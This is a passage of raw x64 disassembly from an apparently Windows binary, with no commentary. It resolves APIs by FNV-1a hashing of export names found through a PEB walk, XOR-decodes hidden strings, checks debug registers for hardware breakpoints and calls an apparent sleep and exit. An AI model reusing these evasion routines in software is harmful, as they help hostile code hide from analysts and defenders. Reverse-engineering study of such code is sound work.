jne 0x1400265c0
cmp ebx, 0xe80fd3a
je 0x1400265e8
test r8d, r8d
jne 0x1400265a0
mov rax, qword [rax]
jmp 0x140026570
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
movabs rax, 0x1f1055da05411a30
mov qword [rbp + 0x5b0], rax
movabs rax, 0x34f3eb98249dc588
mov qword [rbp + 0x5b8], rax
movabs rax, 0x1e8dbc4fb647e0b3
mov qword [rbp + 0x5c0], rax
movabs rax, 0x18bb483e4a4c311d
mov qword [rbp + 0x5c8], rax
movabs rax, 0x512c35c7cb0abd1
mov qword [rbp + 0x5d0], rax
movabs rax, 0x2b41bd0c9ea7b6a9
mov qword [rbp + 0x5d8], rax
movabs rax, 0x13f9142a43ef6f4b
mov qword [rbp + 0x5e0], rax
movabs rax, 0x24856dcf3b83b8ca
mov qword [rbp + 0x5e8], rax
movabs rax, 0x126cffc0d99c9
mov qword [rbp + 0x5f0], rax
movabs rcx, 0xe55e6f8a33d7026
mov qword [rbp + 0x5f8], rcx
xorps xmm7, xmm7
movabs rax, 0x6d773aa8551d2073
mov qword [rbp + 0x650], rax
movabs rax, 0x79af8aec45d9a8e9
mov qword [rbp + 0x658], rax
movabs rax, 0x6aebd33cd93583da
mov qword [rbp + 0x660], rax
movabs rax, 0x6bcc275a24256641
mov qword [rbp + 0x668], rax
movabs rax, 0x4832b72e1dc4f88d
mov qword [rbp + 0x670], rax
movabs rax, 0x4c2ecf5cc2d2d8cc
mov qword [rbp + 0x678], rax
movabs rax, 0x52bd5d7630820e39
mov qword [rbp + 0x680], rax
movabs rax, 0x56e41aaa5ef1feea
mov qword [rbp + 0x688], rax
movabs rax, 0x126fcd235b9ac
mov qword [rbp + 0x690], rax
mov qword [rbp + 0x698], rcx
xorps xmm8, xmm8
xorps xmm9, xmm9
xorps xmm10, xmm10
xorps xmm11, xmm11
lea rax, [rbp + 0x6418]
mov ecx, 0xa
nop
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140026770
movdqa xmm0, xmmword [rbp + 0x650]
xorps xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x6410], xmm0
movdqa xmm1, xmmword [rbp + 0x5c0]
xorps xmm1, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x6420], xmm1
movdqa xmm0, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x6430], xmm0
movdqa xmm1, xmmword [rbp + 0x5e0]
xorps xmm1, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x6440], xmm1
movdqa xmm0, xmmword [rbp + 0x5f0]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x6450], xmm0
movdqa xmmword [rbp + 0x6460], xmm8
movdqa xmmword [rbp + 0x6470], xmm9
movdqa xmmword [rbp + 0x6480], xmm10
movdqa xmmword [rbp + 0x6490], xmm7
movdqa xmmword [rbp + 0x64a0], xmm11
lea rax, [rbp + 0xa8e0]
lea rcx, [rbp + 0x6410]
mov rdx, r14
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140026831
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea rax, [rbp + 0xa8e0]
mov qword [rbp + 0x210], rax
lea rcx, [rbp + 0xa8e0]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400268d0
mov qword [rbp + 0x218], rax
movzx r8d, dil
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0xc40]
call fcn.14000c780
nop
lea rcx, [rbp + 0xc40]
call fcn.14000c180
movzx ebx, al
lea rcx, [rbp + 0xc40]
call fcn.140002810
test bl, bl
je 0x1400269c3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400269a3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400269a3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002699e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026980
cmp ebx, 0xe80fd3a
je 0x1400269a8
test r8d, r8d
jne 0x140026960
mov rax, qword [rax]
jmp 0x140026930
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0xc880]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0xc8b0], 0x100010
call qword [sym.imp.kernel32.dll_GetCurrentThread]
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov edi, dword [rdx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140026a73
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140026a73
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov edx, dword [rax + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140026a6e
nop dword [rax]
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140026a50
cmp ebx, 0x85cca27e
je 0x140026a78
test r8d, r8d
jne 0x140026a30
mov rcx, qword [rcx]
jmp 0x140026a00
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
lea rdx, [rbp + 0xc880]
mov rcx, rsi
call rax
test eax, eax
je 0x140026b73
cmp qword [rbp + 0xc8c8], 0
jne 0x140026acf
cmp qword [rbp + 0xc8d0], 0
jne 0x140026acf
cmp qword [rbp + 0xc8d8], 0
jne 0x140026acf
cmp qword [rbp + 0xc8e0], 0
je 0x140026b73
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140026b53
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140026b53
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026b4e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026b30
cmp ebx, 0xe80fd3a
je 0x140026b58
test r8d, r8d
jne 0x140026b10
mov rax, qword [rax]
jmp 0x140026ae0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
movabs rax, 0xbe721e4052374c7
mov qword [rsp + 0x50], rax
movabs rax, 0x7d38eb9b2571c046
mov qword [rsp + 0x58], rax
xorps xmm2, xmm2
movabs rax, 0x72940f90604d19b1
mov qword [rsp + 0x70], rax
movabs rax, 0x7d38eb9b2571c035
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0xdb8]
mov esi, 2
mov ecx, esi
xor edi, edi
nop dword [rax]
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140026bd0
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0xdb0], xmm0
movdqa xmmword [rbp + 0xdc0], xmm2
lea rcx, [rbp + 0x50e0]
lea rax, [rbp + 0xdb0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
lea rcx, [rbp + 0x50e0]
call fcn.140020f40
test al, al
je 0x1400271e5
movabs rax, 0x12e81588edea6395
mov qword [rsp + 0x50], rax
movabs rax, 0x8205913871c2242
mov qword [rsp + 0x58], rax
movabs rax, 0xc76f557d284367a
mov qword [rsp + 0x60], rax
movabs rax, 0x70f5f63a0aaf6853
mov qword [rsp + 0x68], rax
movabs rax, 0x739d61fa84bc699f
mov qword [rbp - 0x70], rax
movabs rax, 0x66493170e671022e
mov qword [rbp - 0x68], rax
movabs rax, 0x6017d523bdea161f
mov qword [rbp - 0x60], rax
movabs rax, 0x70f5f65e6fd8073f
mov qword [rbp - 0x58], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x4aa8]
mov ebx, 4
mov ecx, ebx
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140026d00
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x4aa0], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x4ab0], xmm1
movdqa xmmword [rbp + 0x4ac0], xmm4
movdqa xmmword [rbp + 0x4ad0], xmm5
lea rax, [rbp + 0x8610]
lea rcx, [rbp + 0x4aa0]
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140026d60
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x460], xmm0
mov qword [rbp + 0x470], rdi
mov qword [rbp + 0x478], rdi
lea rax, [rbp + 0x8610]
mov r8, r15
inc r8
cmp byte [rax + r8], dil
jne 0x140026e02
lea rdx, [rbp + 0x8610]
lea rcx, [rbp + 0x460]
call fcn.14000b450
lea rax, [rbp + 0x460]
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x460]
cmp qword [rbp + 0x478], 0xf
cmova rdx, qword [rbp + 0x460]
mov r8, qword [rbp + 0x470]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001cb10
nop
lea rcx, [rbp + 0x460]
call fcn.14000a6f0
movabs rax, 0x143a94e64ca000e3
mov qword [rbp + 0xdb0], rax
movabs rax, 0x8bd623bf6248fbf
mov qword [rbp + 0xdb8], rax
movabs rax, 0x1b5d77ce94b8293d
mov qword [rbp + 0xdc0], rax
movabs rax, 0x1a8360bdad145905
mov qword [rbp + 0xdc8], rax
movabs rax, 0x9234ccca1
mov qword [rbp + 0xdd0], rax
movabs rcx, 0x6a5159ed639
mov qword [rbp + 0xdd8], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
movabs rax, 0x7d4ef78322ce6f80
mov qword [rbp + 0xe10], rax
movabs rax, 0x7bc8045e8404e1d0
mov qword [rbp + 0xe18], rax
movabs rax, 0x6f33188db4964d58
mov qword [rbp + 0xe20], rax
movabs rax, 0x6af315ce8d603a64
mov qword [rbp + 0xe28], rax
movabs rax, 0x92338bece
mov qword [rbp + 0xe30], rax
mov qword [rbp + 0xe38], rcx
xorps xmm7, xmm7
lea rax, [rbp + 0x31c8]
mov ecx, 6
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140026f40
movdqa xmm0, xmmword [rbp + 0xdb0]
xorps xmm0, xmmword [rbp + 0xe10]
movdqa xmmword [rbp + 0x31c0], xmm0
movdqa xmm1, xmmword [rbp + 0xdc0]
xorps xmm1, xmmword [rbp + 0xe20]
movdqa xmmword [rbp + 0x31d0], xmm1
movdqa xmm0, xmmword [rbp + 0xe30]
xorps xmm0, xmmword [rbp + 0xdd0]
movdqa xmmword [rbp + 0x31e0], xmm0
movdqa xmmword [rbp + 0x31f0], xmm5
movdqa xmmword [rbp + 0x3200], xmm6
movdqa xmmword [rbp + 0x3210], xmm7
lea rax, [rbp + 0x89d0]
lea rcx, [rbp + 0x31c0]
mov rdx, rbx
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140026fc0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xa00], xmm0
mov qword [rbp + 0xa10], rdi
mov qword [rbp + 0xa18], rdi
lea rax, [rbp + 0x89d0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140027052
lea rdx, [rbp + 0x89d0]
lea rcx, [rbp + 0xa00]
call fcn.14000b450
lea rdx, [rbp + 0xa00]
lea rcx, [0x1401bce80]
call fcn.140093450
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140027113
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140027113
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002710e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400270f0
cmp ebx, 0x2fa62ca8
je 0x140027118
test r8d, r8d
jne 0x1400270d0
mov rax, qword [rax]
jmp 0x1400270a0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0xbb8
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400271c3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400271c3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400271be
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400271a0
cmp ebx, 0xe80fd3a
je 0x1400271c8
test r8d, r8d
jne 0x140027180
mov rax, qword [rax]
jmp 0x140027150
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
movabs rax, 0x778aea2fa42c018
mov qword [rsp + 0x50], rax
movabs rax, 0x6b81a64efd133daf
mov qword [rsp + 0x58], rax
movabs rax, 0x7e0b8096cc29a27c
mov qword [rsp + 0x70], rax
movabs rax, 0x6b81a64efd133ddc
mov qword [rsp + 0x78], rax
xorps xmm2, xmm2
lea rax, [rbp + 0x798]
mov rcx, rsi
nop
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140027230
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x790], xmm0
movdqa xmmword [rbp + 0x7a0], xmm2
lea rcx, [rbp + 0x5180]
lea rax, [rbp + 0x790]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
lea rcx, [rbp + 0x5180]
call fcn.140020f40
test al, al
je 0x140027905
movabs rax, 0x8394aaf268f3f26
mov qword [rbp + 0x850], rax
movabs rax, 0x5079d1763c1bfa89
mov qword [rbp + 0x858], rax
movabs rax, 0x1e5ecfaf0b5a9172
mov qword [rbp + 0x860], rax
movabs rax, 0x42670ee7f0f38fc7
mov qword [rbp + 0x868], rax
movabs rax, 0x711ab527c321119
mov qword [rbp + 0x870], rax
movabs rax, 0x8a8da4fd7aae77b
mov qword [rbp + 0x878], rax
movabs rax, 0x1fffffffe009a2f9
mov qword [rbp + 0x880], rax
movabs rcx, 0xe00000001ff6781b
mov qword [rbp + 0x888], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
movabs rax, 0x6d4a2bca4adf352c
mov qword [rbp + 0x8d0], rax
movabs rax, 0x701ca719517e88a9
mov qword [rbp + 0x8d8], rax
movabs rax, 0x3e2dbcca6835e302
mov qword [rbp + 0x8e0], rax
movabs rax, 0x24477c829b90eeaf
mov qword [rbp + 0x8e8], rax
movabs rax, 0x7564c42b5c5f7e6b
mov qword [rbp + 0x8f0], rax
movabs rax, 0x6ddcaf3fbac5845b
mov qword [rbp + 0x8f8], rax
movabs rax, 0x1fffffffe009a28b
mov qword [rbp + 0x900], rax
mov qword [rbp + 0x908], rcx
xorps xmm9, xmm9
lea rax, [rbp + 0x4128]
mov rcx, r14
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140027400
movdqa xmm0, xmmword [rbp + 0x850]
xorps xmm0, xmmword [rbp + 0x8d0]
movdqa xmmword [rbp + 0x4120], xmm0
movdqa xmm1, xmmword [rbp + 0x860]
xorps xmm1, xmmword [rbp + 0x8e0]
movdqa xmmword [rbp + 0x4130], xmm1
movdqa xmm0, xmmword [rbp + 0x870]
xorps xmm0, xmmword [rbp + 0x8f0]
movdqa xmmword [rbp + 0x4140], xmm0
movdqa xmm1, xmmword [rbp + 0x880]
xorps xmm1, xmmword [rbp + 0x900]
movdqa xmmword [rbp + 0x4150], xmm1
movdqa xmmword [rbp + 0x4160], xmm9
movdqa xmmword [rbp + 0x4170], xmm6
movdqa xmmword [rbp + 0x4180], xmm7
movdqa xmmword [rbp + 0x4190], xmm8
lea rax, [rbp + 0x98d0]
lea rcx, [rbp + 0x4120]
mov edx, 6
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400274a2
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
mov qword [rbp + 0x330], rdi
mov qword [rbp + 0x338], rdi
lea rax, [rbp + 0x98d0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140027524
lea rdx, [rbp + 0x98d0]
lea rcx, [rbp + 0x320]
call fcn.14000b450
lea rax, [rbp + 0x320]
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x320]
cmp qword [rbp + 0x338], 0xf
cmova rdx, qword [rbp + 0x320]
mov r8, qword [rbp + 0x330]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001cb10
nop
lea rcx, [rbp + 0x320]
call fcn.14000a6f0
movabs rax, 0x49dd7a6dbafff43
mov qword [rbp + 0x790], rax
movabs rax, 0x7401e32e7b4032c
mov qword [rbp + 0x798], rax
movabs rax, 0x96d56fd921d6612
mov qword [rbp + 0x7a0], rax
movabs rax, 0x14f5348e8385a697
mov qword [rbp + 0x7a8], rax
movabs rax, 0x9953ec63e
mov qword [rbp + 0x7b0], rax
movabs rcx, 0x6a49b25276a
mov qword [rbp + 0x7b8], rcx
movabs rax, 0x6de9b4c3b5c19020
mov qword [rbp + 0x7f0], rax
movabs rax, 0x7435785795946d43
mov qword [rbp + 0x7f8], rax
movabs rax, 0x7d0339beb2330277
mov qword [rbp + 0x800], rax
movabs rax, 0x648541fda3f1c5f6
mov qword [rbp + 0x808], rax
movabs rax, 0x9954ab451
mov qword [rbp + 0x810], rax
mov qword [rbp + 0x818], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x3b28]
mov ecx, 6
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140027660
movdqa xmm0, xmmword [rbp + 0x790]
xorps xmm0, xmmword [rbp + 0x7f0]
movdqa xmmword [rbp + 0x3b20], xmm0
movdqa xmm1, xmmword [rbp + 0x7a0]
xorps xmm1, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x3b30], xmm1
movdqa xmm0, xmmword [rbp + 0x7b0]
xorps xmm0, xmmword [rbp + 0x810]
movdqa xmmword [rbp + 0x3b40], xmm0
movdqa xmmword [rbp + 0x3b50], xmm5
movdqa xmmword [rbp + 0x3b60], xmm6
movdqa xmmword [rbp + 0x3b70], xmm7
lea rax, [rbp + 0x8c10]
lea rcx, [rbp + 0x3b20]
mov edx, 4
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400276e1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xa20], xmm0
mov qword [rbp + 0xa30], rdi
mov qword [rbp + 0xa38], rdi
lea rax, [rbp + 0x8c10]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140027773
lea rdx, [rbp + 0x8c10]
lea rcx, [rbp + 0xa20]
call fcn.14000b450
lea rdx, [rbp + 0xa20]
lea rcx, [0x1401bce80]
call fcn.140093450
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140027833
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140027833
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002782e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027810
cmp ebx, 0x2fa62ca8
je 0x140027838
test r8d, r8d
jne 0x1400277f0
mov rax, qword [rax]
jmp 0x1400277c0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
